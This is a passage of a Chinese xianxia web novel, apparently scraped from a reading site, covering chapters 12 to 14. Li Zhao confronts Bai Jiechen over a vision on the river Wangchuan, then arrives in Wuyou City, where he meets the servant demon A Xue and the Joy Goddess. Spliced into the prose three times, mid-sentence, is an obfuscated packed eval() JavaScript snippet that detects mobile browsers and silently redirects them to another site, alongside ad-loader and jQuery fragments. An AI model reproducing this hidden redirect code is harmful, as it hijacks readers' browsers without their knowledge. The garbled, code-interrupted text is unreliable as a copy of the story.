并且,据说两人不仅擅自闯了幽都,大闹了一番,引得师门震怒,差点要将他们二人驱赶下山,仙长们对此事闭口不谈,黎昭也是破天荒的沉默了一回。 徐风盛原以为有白解尘在,他们两人是闯不出什么祸来,现在看来,这忘川奔流不息的架势,还有白解尘那习以为常的反应…… 他内心咆哮:“你们俩当年在无忧城到底干了些什么啊!” * 黎昭莫名有些心虚。 旁人不解,他却有些头绪。 当年他就是在无忧城,同白解尘下幽都,渡忘川,硬生生从阎王爷手里抢了几条命出来。 想来是他们过于凶残,以致于这阎王爷记恨他们,才放出忘川来教训一番? 不会吧,当年那阎王爷脸虽然黑,也挺客气的,起码当年黎昭死的时候,阎王爷没让牛头马面在一旁守着。 浩浩汤汤的忘川奔涌至楼船的下方,灵木所制的船身外壳逐渐冒起窸窸窣窣的尖甲刮擦声,浅色浪花尖端显现出一张张模糊的面容,成千上百张面孔连续转换着,展示着淌过忘川的过往生魂。 凡人修士最忌沾染红尘,被这忘川河水一映,怕是日后修行途中多生心魔。 黎昭刚立志要当魔头,便不想管这些,更何况这艘楼船上还有两个合道期的修士,无论如何都轮不到他这位金丹破碎的小修士。 若是要解决这莫名其妙的忘川,怕是要追根溯源找到泉眼,再斩断泉眼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13773646|145697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他眯起眼睛,极目远眺,果然见到一道流星般的剑光闪过。 有白解尘和徐风盛在,众人也可安心。 片刻后,河水突然涨起了几丈,汹涌的浪花倾斜而下,浇在了楼船上。 幸而黎昭躲避及时,差点要被溅上几滴忘川水。 “嗯?泉眼在这里?” 黎昭一时忘记了晕船,探出窗外,眉尾一挑,见到了一个根本不可能出现的身影。 一道人影正在忘川上行走。 忘川之水浑浊不堪,腥风扑面,那人的身影犹如一支纤长的赤莲,全身笼在绛色长袍之下,柔软漆黑的长发自帽中逶迤而出,微卷的发尾弯起风的弧度,隐约能见到雪□□巧的下颌。 他走在孤魂野鬼之间,像是闲庭信步,左手微微抬起,似乎是正牵着谁,而在他身旁却是空无一人。 一道裹挟着鬼魂的巨浪袭来,那人抬手一挥,巨浪尽数消弭,涌起的气雾掀开了遮挡的围帽,露出一张瑰丽的面容。 金色的眼瞳似初晨霞光,熠熠生辉,眉宇间的朱砂痣鲜艳欲滴,散发着红色的诡光,让这张艳绝的脸庞多了几分森森的鬼气。 这是一只血统高贵的魇魔,天地诞育,不入轮回,下幽都过忘川,犹入无人之境。 见到兜帽散落,魇魔似乎极其紧张,他连忙看向空无一人的身侧,又手忙脚乱地遮盖住那张似人非人的脸庞。 或许是难得有魇魔渡忘川,忘川记下了当年魇魔渡河的幻象,而身旁的人早已魂归人间,消失不见。 黎昭双手抱胸,遥遥看着忘川之外出现的幻影,像是个无关紧要的局外人,惋惜道:“当年怎么没把白解尘淹死呢?” 怀里的照骨镜微微一颤,像是在回应着主人的那道惋惜。 黎昭心念一动,回想起当年白解尘渡忘川时的模样,他轻轻地抚向胸口的照骨镜,轻声低语:“要不,再让他走火入魔一回?” 魇魔一步步走着,忘川河水湍急,他的步伐亦有些不稳,又要顾及着身旁的人修,渐渐也有些不耐烦了。 又是一道巨浪打来,魇魔故技重施,驱散了魂魄。 魇魔每个动作都是留存在忘川里的影像,只是记录得过于栩栩如生,轻易地给人鲜明生动的错觉。 一人停在了魇魔的面前。 他的仙袍薄如雾绡,俊美的容颜如清玉般,散发着清冷的光辉,仅仅是站在那里,就犹如高洁雪山,遗世独立,与下方浑浊不堪的忘川格格不入。 白解尘望着魇魔的幻象,墨玉般的眼眸看向他空白的身侧,眼中闪过一丝莫名的嘲讽。 忘川之水的泉眼,就在此处。 魇魔向他走来,白解尘没有让步,那只是幻象而已,只会穿过他的身体,而后消失在漫漫无尽的忘川之上。 他想多看一会。 魇魔离他仅有一步之遥,白解尘几乎都要闻到他熟悉的雨水气味,清新冷冽。 魇魔又离得他十分近,金瞳闪烁,纤长的睫毛差点要触碰到白解尘的脸颊,嫣红的嘴唇紧抿着,似乎还在烦恼。 魇魔突然开口说话了—— “你是谁啊? “为什么挡在这里,让让,我要赶着去投胎。” 12. 魔角 幻象中的魇魔已然成年,面容褪去了青涩,五官浓艳到极致,黑发随风舞动,像是泼墨山水画中的一抹丹砂,夺目得让人移不开眼。 楼船上的徐氏子弟都目睹到了忘川上出现的魇魔,他们尚且受到忘川的影响,浑浑噩噩之间见到那抹幻影,皆是心神俱震。 “是魇魔,怎么会在这里,暗渊不是被封了吗?” “难道这忘川是这魇魔搞得?” “这魇魔没有角,是,是二十年前的那只魇灾!我在暗渊见过!” 二十年前的魇灾过于骇人听闻,弟子们心神俱骇下,忘川之水的潮声又侵入他们的神识。 徐风盛遥望着那道模糊的绛红身影,过于震惊,差点无法抵挡前世心魔的呓语。 他许久没见过黎昭了,以至于他的面容都慢慢模糊了。 徐风盛闭上眼,深吸一口气,打出几道雷决,天际瞬间乌云密布,无数道雷电被牵引至楼船的透明屏障之上,分裂成细细密密的冰裂电纹。 徐风盛冷声道:“魇灾已死,那是忘川幻象,不要被迷惑!” * 黎昭金瞳上下打量着眼前的白衣人,眼瞳里充斥着不耐。 见他全然没有反应,黎昭抱着胸,挑起修长的眉尾,语气含着挑衅:“让开。” 白解尘的目光一直没有从魇魔的脸上移开,双眼黑沉,透不出一丝光亮。 他向来是淡漠疏离、高高在上,可面对这道脆弱的幻影时,白解尘好像沾染上了些许不可言说的情绪。 他下意识地想要触摸这道幻影。 见他出手,魇魔往后一退,绛色衣袍翻飞,犹如一滴红墨入水。 微卷的黑发缠绕在衣袍之间,魇魔的素白掌心聚起翻腾的黑雾,呼吸间凝实成一柄通体漆黑的长剑,剑身镌刻着上古铭文—— 鸦九。 纵然是幻象凝结成的剑,所有人都能感受到轻薄剑锋上弥散的恢弘杀气。 魇灾的恶名昭彰,众人几乎都忘记了,黎昭是最年轻的仙门魁首。 他一拿起剑,周身气质骤然变化,一如燃烧的红焰,危险至极。 剑气激荡,忘川河水亦感知到了汹涌的杀意,沉浮在浑浊河中的冤魂们竟然齐齐噤声,潮声停止了。 黎昭站在高处,一剑挥去。 巨大磅礴的黑色剑影瞬息间落下,他生得秀美,剑势却无比霸道。 金辉之下,墨发飞舞。 白解尘站在原地,他对这道铺天盖地的剑气熟视无睹,双眸直视着黎昭,似是洞察万物,轻声道:“幻影?” 黎昭心中冷笑,幻影照样取你的性命。 剑气轰然挥下,忘川河水翻涌起滔天巨浪。 鸦九剑影劈在忘川河中,突然剑势一停,搅动着浑浊河水,激起滔天巨浪泼向二人。 浑浊雨滴落下,白解尘衣角沾染上点滴忘川河水。 雨雾蒙蒙之中,黎昭见他沾染了忘川之水却没有半分反应,顿时感到一丝挫败。 当初他们进入忘川的时候,白解尘可不是这般模样,前世的记忆灌入,罪孽缠身的白解尘走火入魔,差点死在幽都。 现在,忘川之水居然无法伤到他分毫。 黎昭失望透顶,幻象也模糊了一瞬。 两人下方的忘川泉眼翻涌着,在那一剑的威力之下漏出了一道穿透三界的缺口,滚滚忘川汇聚成巨大的漩涡,混搅着哀鸣的孤魂野鬼,直直落入九泉之下的幽都。 魇魔消失,片刻间,天地为之一清。 “呼呼呼,”清徽脱力般的坐木板上,他掌心握着一枚洁白如玉的魂铃,“幸好,有宗主给的这枚法宝,不然估计又要出丑了。” “这位师弟,”一名身着紫袍白裘的俊雅修士将他扶起,“你没事吧?我刚刚在这里看到你摔倒了。” 啊?刚刚? 我身边刚刚没人啊? 清徽大脑浑浑噩噩,恍惚间见到了一点金芒。 “啊,林师兄,没事没事,”清徽脸一红,心想还是在大伙前面丢脸了,“刚才那浪太猛了,我一时没站住。” 他心有余悸地说道:“那只魇好生厉害,居然能一剑把忘川水都劈开了。” 话一说出口,清徽又自觉丢脸,怎么还把那魇魔夸上了? 白解尘飘然回到楼船之上,有意无意往黎昭那处看去。 黎昭低着头,扶着那名应天宗弟子来到甲板中央,脸上一副心有余悸的模样。 徐风盛收起了护船阵法,他强行对抗忘川心魔,也耗费了不少灵气,面色有点苍白。 但现在不是休息的时候,他号召全船的人来此地,按个检查他们的异状。 忘川的影响不容小觑,徐风盛立即召唤出几艘小巧的灵舟,让一些被心魔困扰严重的徐家弟子先回去。 不消片刻,全船的人走了近大半。 黎昭也想浑水摸鱼地凑到离散队伍中去,却被徐风盛拦住了。 “你不能回风雷谷,”徐风盛用刀柄挥了挥,“跟我去无忧城。” 黎昭泄气地往甲板上一坐,说道:“这地方太古怪了,还是风雷谷安全。” 这话说的,好像浑然不知道始作俑者是谁。 “忘川怎么会出现在这里?” 徐风盛他看向方才起就一直沉默的白解尘。 那人站在船尾,始终一言不发,眼眸低垂,右手的手指摩挲着黑色戒环,眼底浮起点点碎冰般的冷意。 徐风盛用刀撑起身,慢吞吞地走到白解尘身旁,说道:“当年你跟黎昭在幽都都干了什么?” 白解尘答非所问:“忘川不应出现在人间,是有人在搞鬼。” 他不想回答的问题便不会回答,转移话题已然给风雷主几分薄面了。 徐风盛偏偏被勾起了兴趣,思索一番,说道:“跟无忧城有关系?” 白解尘淡声道:“是。” 徐风盛又瞄了他一眼,很想提及那忘川上出现的魇影,但又不知道该怎么说。 黎昭他为什么打你?这不摆明了的原因,任谁看见仇人都会分外眼红。 受伤了吗?这话问得有点无聊,以白解尘现在的修为,幻影的剑意跟小猫挠痒还差不多。 最后徐风盛幸灾乐祸地说了四个字:“活该被揍。” 白解尘是一贯的不想回答。 无人看见,垂在身侧的掌心中央横亘着一道深深的血痕,暗色的血液顺着修长的手指流淌而下,犹如纠缠不休的红线。 少倾,楼船行驶到了一座偌大的繁华城池。 无忧城到了。 城主乐愁居士治理有方,城中每逢佳节都是热闹非凡,据说这般喜乐安平也吸引了喜神的到来,有神明庇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13773647|145697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佑,城中百姓的性命都比寻常人长些,正因如此,凡间的百姓们对无忧城趋之若鹜。 为表对城主的尊敬,修行中人都是卸下飞剑,以免打扰到普通人的生活。 徐风盛收起楼船,先带领着几名弟子前去拜望无忧城主,即便是来兴师问罪,也需要保持一贯的礼仪。 临走时他还犹豫着要不要带上黎昭。 黎昭脸色煞白:“那城主派傀儡来杀我,我还过去,这不是送死吗?” 徐风盛知道有白解尘坐镇,没人能伤得了他们,于是冷哼一声抱着刀走了。 白解尘身份高贵,但也不太喜欢参与这类事宜,他麾下的弟子清徽十分机灵地寻了一家客栈,安置好他的宗主,顺便把风雷谷弟子的客房钱也付了。 黎昭在一旁见他算账、讨价、结账一气呵成,赞叹道:“这位师弟的术数天赋真高呀。” 清徽倒是被他夸得有点不好意思,摆摆手,说道:“不值一提,我家中世代经商,自小耳濡目染,如今能为各师兄弟们分忧,也是幸事!” 黎昭肃然起敬,他生平最佩服的便是商贾世家,在他们魇族,看上什么便是抢,抢不过就打,打不赢就死,何来买卖一说。 能做买卖,便是一等一的上等人家了! 清徽被他那双浅色的眼睛看得愈发害羞,小声说道:“我来无忧城也是为了找我的四叔,家中长辈挂念,特地嘱咐要来拜见一下喜神娘娘。” 清徽拿出了一个小布包,里面装得厚厚一沓纸钱,上面印着一道模糊的红影。 黎昭知晓这是无忧城供奉的喜神,上次他同白解尘来到无忧城中随处可见供奉的神龛 ,据说喜神的化身也时常会在城中出没,他倒是无缘相见。 他告别清徽,迅速隐秘了行踪,混入了无忧城内。 这座城同他当年来的时候区别不大,二十多年过去,街上依旧繁华,迎面也走来几位衣着不凡的年轻修士,其他小贩见到他们也是习以为常。 黎昭之前曾经听过说,城中有灵犀照骨镜的消息,他跟随徐风盛前来也是为了一探究竟,或者说是,以绝后患。 毕竟,旁人的灵犀照骨镜可不受黎昭的控制。 他在城中寻找了几家灵宝斋,都没有收获,那些掌柜们一听灵犀照骨镜,都是连连摇头,生怕他们同魇魔沾上半点关系。 黎昭心中烦闷,就在走出最后一家灵宝斋时,见到清徽架着一辆马车,停在门口,似乎是在等他。 白马的四蹄飘着氤氲的灵雾,应是某种灵兽的化形。 “林师兄,风雷主说让我们去城主府,”清徽招招手,“你怎么在这里呀,我可寻了你好久。” 黎昭也不推辞,轻巧地跳上,刚掀开帷幕,人就僵在原地。 白解尘一手拿著书卷,正垂眸细读。 “对不起,白宗主,我走错了,”黎昭放下帷幕跳车一气呵成,“我自己去。” “林照之,你认得去城主府的路?我记得你说过,之前未曾到无忧城。”白解尘的声音从车厢中飘出。 黎昭停住脚步,心思转了又转,最终咬着牙说道:“我去问路不就知道了?” 话音刚落,他就被一道无形的力量牵入车厢之内,甩在了一处柔软的绸垫上。 “时间紧迫,”白解尘放下书卷,依旧是那副冷淡的表情,“走吧。” 13. 斗嘴 黎昭尽量让自己存在车厢的一角,减轻存在感。 马车镌刻着芥子空间的阵法,外表虽然平平无奇,内部极尽奢华,也大得惊人,他缩在角落里,几乎是隐了踪迹。 “你很害怕我。”白解尘抬眸看他。 他今日换了一身月白色的长衫,交领上绣着暗金细纹,衬着美玉般的肌肤,或许是这般寻常的装扮,减淡了高高在上的气势,倒像是个金尊玉贵的年轻公子。 黎昭被那双眼睛看得头皮发麻,闭嘴不说话。 别人或许不了解白解尘,但黎昭对他可谓是洞悉一切,若是白解尘有心,没有任何事能逃过他的谋算。 之前在风雷谷,好歹有徐风盛挡着,现下只有他们二人,黎昭保命要紧。 有时候他也想不通,白解尘对他的恨到底从何而来?明明之前,他们…… “只有心虚之人,才会害怕,”白解尘说道,“林照之,你在心虚什么?” 他刻意收敛了合道境界的气息,声音清冽低沉,如同冬日凝结的冷泉。 缩在角落里黎昭忽然一笑,笑容中有着勉强,眼睛里却闪烁着狡黠:“白宗主,你可懂得瓜田李下之嫌?” 白解尘微微皱眉,放下了书卷,想到了什么不愉快的事情。 黎昭愈发害怕得蜷缩成一团,眼神乱瞟,说道:“风雷主不在,白宗主就这般把我拉上马车,城中之人全都瞧遍了,若传到风雷主的耳中,这该如何是好?我也不想你们为我起争执,这传出去多不体面呀。” “白宗主,虽然你也是一表人才,但我始终是效忠于风雷主的,”黎昭越说越来劲,眼见白解尘的面色愈发淡漠,内心实在是畅快不已,“所谓强扭的瓜不甜,解渴也酸溜溜的,我劝你还是早点放弃这般心思吧。” 他故意捏着嗓子说话,矫揉造作,内容危言耸听,若不是白解尘念及他“风雷主老相好”的身份,恐怕是会一剑杀了他。 “林照之。” 黎昭还要编排些恶心人的内容,白解尘突然开口打断他的发言。 墨色的眼眸似在仔细打量着眼前无礼之人,继而眼底浮起一丝淡淡的戾气,用漫不经心的口吻—— “倘若本座真要带走你,无人敢拦。” 黎昭笑容僵在脸上。 白解尘轻轻松松的一句话直接堵着了他的后路,倘若自己再小嘴叭叭几句,恐怕白解尘真的会把自已带走再随意丢进宗门的大牢内。 好,很好。 黎昭倒是冷静下来,皮笑肉不笑地说了句:“真不愧是白宗主,好生霸道。” 无人打扰,白解尘继续翻阅手中的书卷,只是幽深的眼底透不进任何光亮,嘴唇紧抿,似在压抑着某种情绪。 自此斗嘴失败,黎昭就闭上了嘴巴。 内心里却不知说了多少白解尘的坏话,无意间瞥见白解尘翻阅书卷的另一只手。 他的手修长如玉,骨节分明,掌背稍宽,却横着一截洁白的绷带,隐约能见到掌心暗色的血渍。 之前在忘川河上,黎昭挥出的一剑威力巨大,难道是伤到了白解尘? 黎昭拧紧眉毛。 以白解尘的修为,寻常的伤痕只需转念一想便可痊愈,除非是伤人者在剑锋上附着了阴狠至极的毒物。 盯着那伤口,回想起当时的情景,难道是忘川之水还是沾染上了他的伤口? 忘川之水不知凝结了多少冤魂,一旦浸入血液之中,必定如万鬼噬心般痛楚,还会加重心魔的影响。 一想到白解尘能受罪,刚刚被气到的黎昭又顿时纾解了许多,他的眼睛时不时地掠过翻书的手,多看几眼都是解气的。 白解尘自小受罪命枷锁的束缚,早已习惯痛苦,他一向是淡漠疏离,甚少流露出情绪,实在难以忍受时,也只会微微蜷起手指。 然而此次的忘川之水想必是极痛极其难熬,白解尘翻书的指尖都泛着白,他生得俊美,垂眸的时候下颌线条也是清晰漂亮,只是那痛苦实在是过于剧烈,使他的侧脸愈发深邃清冷。 黎昭看了几眼,突然觉得意兴阑珊,折磨人不是他的爱好,报仇才是黎昭的目标。 若时机得当,他定是一剑刺向白解尘的心口,了结他的性命。 时机? 黎昭的心砰砰跳了起来。 灵犀照骨镜在他的怀中,他又同白解尘同处一室,两人的距离也十分的相近。 白解尘又对“林照之”嗤之以鼻,定不会想到“林照之”有杀他的能力,现在就是他复仇的机会。 黎昭低下头,收敛着气息,以防翻涌的杀意惊扰了白解尘,藏在身后的手心隐隐氤氲着一团雾气。 “林照之。” 头顶传来白解尘的声音。 手心的魇气顿时消散,黎昭霎时背上冒出了细细密密的冷汗。 好险。 他抬起脸,露出害怕的神色,往角落里钻得不能再钻,双手环抱住胸口,说道:“白宗主喊我名字干嘛?” “下车。” 白解尘身影化作白雾消散,连带着散去了化物法术。 黎昭差点屁股着地,又有一股柔和的力道将他稳稳托住。 他摇摇晃晃了好一会才站稳。 那匹俊俏的白马化作一只白鸟吱吱喳喳地停在了白解尘的肩膀上,黑溜溜的眼珠子盯着黎昭,眼中似有嘲笑之意。 黎昭认得这只傻鸟,是一只连话都不会说的鹦鹉,当年还是他从集市上买来的,如今居然也学会了化形之术。 真是一人得道,鸡犬升天。 “傻蛋,傻蛋,傻蛋!”白鹦鹉叫唤起来。 黎昭头也不抬,说道:“傻蛋叫谁?” 白鹦鹉愣神了一下,眼珠子咕噜噜转,像是想明白了这人言语里的陷阱,小爪子挪了挪,对着白解尘的耳朵告状道:“傻蛋叫你呢!” “噗!”后方的清徽笑出了声,随后他又脸露惊恐之色,嘴唇煞白,双腿一软,直直跪在了地上,“宗主,我,我自会领罚。” 白解尘脚步一顿,随后又径直走入城主府中,完全没有理会黎昭这样幼稚的恶作剧。 停在他肩膀上的白鹦鹉也害怕得缩成了一团,雪白的羽翅挡住了脸,只露出一只圆圆的、小小的眼睛正愤愤地瞪着黎昭。 黎昭内心早就乐不可支,心想你这傻鸟,骂人的话还是我教的呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13773648|145697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,简直是讨打。 无忧城主所居住的府邸平平无奇,外表看去只是一间寻常的院落,连服侍的仆从也是零星的两三人。 他们进入前厅,徐风盛早就在此等候,见他们来,眼中有不耐,说道:“怎么耽搁了这么久?” 黎昭好奇地看向无忧城主。 无忧城主乐愁坐镇无忧城近千年,黎昭原以为他是一名白发苍苍的老家伙,但没想到是一位年轻的道士。 他仅从外表上看不过二十的年纪,皮肤白净,面容斯文,双眼黑白分明,唇如涂朱,自然而然地生出一股亲近。 乐愁的目光扫过众人,停留在白解尘身上的时候,眼里闪过一丝恐慌,又迅速恢复了平静,说道:“白宗主,好久不见。” 白解尘微微颔首。 黎昭见他们两人之间神神秘秘,也不由得感到好奇,当年他和白解尘来过无忧城,但那时两人也未拜见过城主。 难道是他死后白解尘为了庆祝来此游玩?实在是无法想象,成何体统! “无忧城主,”徐风盛是来兴师问罪,也不太客气,用刀柄一指,说道,“这位是我风雷谷的弟子,名曰林照之,你可有印象?” 乐愁此时才注意到白解尘身后还站着一人,他越过白解尘的视线抄黎昭看去,整个眼睛微微圆睁,似乎是看到了极为惊讶的事物。 “没有,”乐愁收回视线,不敢看其他人,落在了地上,语气有些不自然,“请问风雷主有什么事吗?” 徐风盛眉心一拧,说道:“前几日有一具傀儡伪装成我风雷谷的弟子,蓄意刺杀林照之,幸好被我们损坏,未能得逞。” “什么?”乐愁惊讶道,“真有此事?这绝对不可能!” “我也希望不是无忧城所为,但傀儡其中的缠丝,正是出自无忧城。”徐风盛取出一块傀儡的残躯递给乐愁,“所有缠丝皆出自我风雷谷,每根缠丝都有风雷谷每位匠师的印记。” 缠丝是一种特殊的材料,多用于傀儡制作,根据原料的不同有各种的功效,由于缠丝的工艺复杂、渊源流传,天下间只有风雷谷的匠师们能打造。 乐愁听他这般笃定,也起了疑心,取过那块傀儡残躯,细细查看后,说道:“确实是我无忧城的作品,但这缠丝却有蹊跷,风雷主,傀儡的灵核还在吗?” 徐风盛一顿,说道:“不在了。” 黎昭又缩回到白解尘的身后,刚才那无忧城主的眼神过于奇怪,再加上之前接触傀儡灵核时的怪异感。 他感到一丝不安。 “灵核不在也没事,”乐愁的指点沾染着缠丝,仔细揉搓,指尖上可见点点灵力残留,说道,“缠丝中也会蕴含着灵核深处的意识,想要提取出来,需要耗费一番功夫。” “等一下!”见他有推脱之意,徐风盛横刀而立,说道,“无忧城主,这傀儡是你无忧城的作品,指使杀人的不就是你吗?何来交代?” “风雷主有所不知,无忧城已被白宗主布下诛天杀阵,近二十年无人敢出城,”乐愁深吸一口气,言语中尽是苦涩,说道,“白宗主,此事,你可为我作证?” 此话一出,所有人的目光都看向了白解尘。 14. 阿雪 “诛天杀阵?”徐风盛倒吸一口气冷气,转而向白解尘说道,“你要干什么?” 白解尘没有回应。 “难怪你随我来无忧城,”徐风盛恍然大悟,“无忧城被你设了阵法,你不跟来我们根本无法进入无忧城,可无忧城哪里招你惹你了,要设下这种杀阵?” “风雷主,”乐愁出声阻止他继续问询,“此事是我无忧城之事。” 徐风盛挑起眉毛,他身居高位多年,明白不要随意插手他人事宜,但此事又与白解尘有关,他偏生出了一丝不服气,冷笑道:“那傀儡便不是你无忧城的事了?” 乐愁叹了一口气,他本是一副亲和善良的脸蛋,如今也笼上了愁云:“风雷主,此事我定会负责,还请各位在此休息一日,明日一定给大家答复。” 无忧城一向给人喜乐安平的印象,城主乐愁名声极佳,他如此说,徐风盛也不好再发难。 “城主,我来招待各位贵客去休息。”角落里传来了一道年轻人的声音。 前厅的帷幕掀开,走出来一位少年,待到众人见到他相貌时,抽气声嘶嘶传来。 清徽又一次捂住了自己的嘴巴,脸憋得通红。 那名少年竟是一只魇魔,他皮肤白得不似常人,五官深邃,金色的瞳仁犹如异兽冰冷无情,头顶的位置居然没有魇魔象征的魔角。 魇魔就这样堂而皇之地出现在众人面前,一些风雷谷弟子忍不住拔出了刀。 这位叫阿雪的少年面不改色,低眉顺眼地走到乐愁旁,见他不理自己,又唤了一声:“城主。” 乐愁轻轻点头。 阿雪习惯了众人对他的畏惧,像是没有看见一名风雷谷弟子的雪刃,上前一步,微微躬身,态度恭敬,说道:“各位请随我来。” 无人答应他,弟子们都后退了一步。 乐愁见状,解释道:“各位不要惊慌,这是我的仆人阿雪,早就被去了魔角,自小养在身边。” 魇魔与人修积怨已久,人修之中经常有猎魇人,他们常年徘徊于北垣之北,狩猎落单的魇魔,有些魇魔被割去了魔角后力量大失就会被卖到中洲,至于有何用途,那就不得而知了。 无忧城主解释后,弟子们还面面相觑,他们自小成长在北垣,对魇魔忌惮颇多,一时间也不知道如何是好。 阿雪见状,脸上毫无愠色,随即来到黎昭身旁,说道:“白宗主,这边请。” 他神色恭敬,心里却有小心思,其他寻常弟子畏惧魇魔,堂堂应天宗主可不会忌惮这只被割去魔角的魇魔,他若答应,其他弟子也能效应。 看着低头站在白解尘面前,清徽又忍不住倒吸一口冷气,自家这位宗主生平最恨魇魔,这只魇魔怎么敢跟他说话的,宗主该不会当着无忧城主的面把魇魔杀了吧? 就在清徽正准备捂住眼睛,不忍直视惨案的时候,却听见白解尘说道:“带路。” 他神色自若,眼中并无憎恶。 应天宗主的压迫感太强,阿雪挺拔的鼻尖都冒出了汗珠,他抿紧失色的嘴唇,缓了一缓,转身带路。 白解尘和徐风盛身份尊贵,待到安置好两人,阿雪又带着两名仆从来接待其他弟子。 黎昭对这只魇魔充满了好奇,他许久许久未见过同族,也难得起了一丝乡情。 魇魔之间的乡情,就是互相伤害。 “阿雪,我可以这么叫你吗?”黎昭跟在他后方,语气轻松。 阿雪顿了顿脚步,说道:“可以,你是我城主的客人。” 黎昭:“无忧城存在了千载,你也千岁?根本看不出来。” 魇魔岁月悠长,活上千载也不足为奇。 阿雪的表情除了恭敬之外,再也没有其他情绪,说道:“承蒙城主照顾,阿雪才能活到现在。” 黎昭眯起了眼,往前赶了几步,凑近了说道:“千年前啊,那会的魇魔多少钱一只?我也想买一只玩玩。” 这话着实无礼,可以说是蓄意挑衅了,阿雪像是没有脾气的魇魔,淡声道:“忘记了。” “可惜现在没有魇魔了,”黎昭琥珀色的眼眸闪烁了一瞬,“不然那两只角也十分值钱啊,你的魔角怎么没的?” 背对着黎昭的阿雪面目狰狞了一瞬,随即又恢复了平和的状态,语气平淡:“被割了。” 黎昭心里知道这只魇魔古怪,出言试探,见他居然能一直隐忍至今,也失去了逗乐的兴趣,索性闭上嘴巴。 城主府后院别有洞天,曲折回廊,他们一路走得特别久,周围的环境都隐隐有了一丝阴森之气。 黎昭左看右看,忽然瞥到不远处的屋檐阴影下有一道暗红色的影子,眨眼间又消失不见。 “嘶,阿雪,”黎昭有点害怕,拍了一下阿雪的肩膀,说道,“你们这院子里有古怪啊,我怎么看到一个红衣女鬼?” 阿雪转过身,似笑非笑地说道:“贵客莫要开玩笑,无忧城内怎么会有女鬼?” 黎昭平生不怕鬼修,不怕妖怪,闯过阎罗殿,杀过魇魔,唯独最怕红衣鬼,无论是因何缘由形成的红衣鬼,他都是害怕得很。 他更加留心观察,又看见一转角处滑过一抹血红色的衣角,似一抔未干的鲜血。 “真的有红衣女鬼,”黎昭吓得跳到栏杆上,抱着双膝,指着一处,说道,“我都看见了,就在前面。” 他指着角落里的暗影,那处果真立着一位女子。 她身披凤冠霞帔,头盖红布,只露出青白色的下颌,双手交拢一处,十指都涂上了厚厚的甲油,更加衬着皮肤苍白可怖。 阿雪眼中笑意更甚,脸色却异常肃穆,正声道:“贵客,莫要冲撞神灵,此乃我无忧城的喜神。” 喜神? 黎昭捂住眼睛,手指留了个缝,偷偷观察。 寻常百姓心中有愿望,便会形成念,久而久之,凡间便会出现各色的念神,喜神就是其中之一。 念神接受人间供奉,赐予眷属祝福,也接受天庭约束。 喜神主掌平安喜乐,时常流连于人间喜事,无忧城又是凡间最平和安详的城市,她出现在此地并不稀奇。 念神关系到苍生百姓天地气运,修士们对其也是敬而远之,像黎昭这种指着喜神喊女鬼的,倒是头一遭。 知晓那是喜神之后,黎昭没有感到丝毫慰藉。 堂堂喜神怎么长得阴森森的? 喜神却对黎昭十分感兴趣,直到黎昭走进客房,喜神还站在不远处,遥遥地望着他,红色的盖布随风轻轻飘荡。 黎昭不得不怀疑是那只魇魔搞得鬼。 魇魔相遇定是相互揶揄,相互捉弄,自己那番话想必是惹怒了这名叫做阿雪的仆人,他蓄意报复自己。 “被割去魔角,还安心当了一千年的仆人?”黎昭躺在床上,看着水蓝色的纱帐, “骗鬼呢。” 自重生后,他不喜黑暗,入夜后仍燃着烛火。 上次到无忧城,他和白解尘共同来寻找几名失踪的弟子,那时他同白解尘相看两厌,刚到无忧城时,他是想好好游玩一番,可白解尘处处管束着他,只能作罢。 后来就是遭遇了一些不太愉快的事情,那些弟子的魂魄进了幽都,黎昭为了救回师兄弟们,不得已施展了魇族秘法,在此地开启鬼门。 他和白解尘进入幽都之后,渡过了忘川,从阎罗 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 王手中硬是抢走了几名师兄弟的游魂,再渡过忘川时,那河水异常愤怒,无数冤魂冲着白解尘一人去了。 白解尘走火入魔,性命垂危。 黎昭不得已,硬生生将幽都劈开了一道裂缝,自那裂缝中逃出,是不是那时候留下了界面之间的裂缝,导致忘川河水流连人间? 但这样的事,难道只出现过一次?若是寻常,那么徐风盛和白解尘都不应表现得如此惊讶。 黎昭越想眼皮越沉,他向来是警惕敏感,自重生后体质不佳的缘故,时常感到困顿,双眼一闭就陷入了深沉的睡眠。 * “神仙!神仙!” 有人在喊他。 黎昭猛然睁开眼,却见自己处在一片迷蒙雾海之中,身下是冰冷刺骨的水面,一望无际。 骤然被拉入梦境,黎昭心道总算是来了,他倒是要看看那只魇魔意欲何为。 出现在梦中的却不是阿雪,而是无忧城主乐愁。 他唤自己:“神仙。” 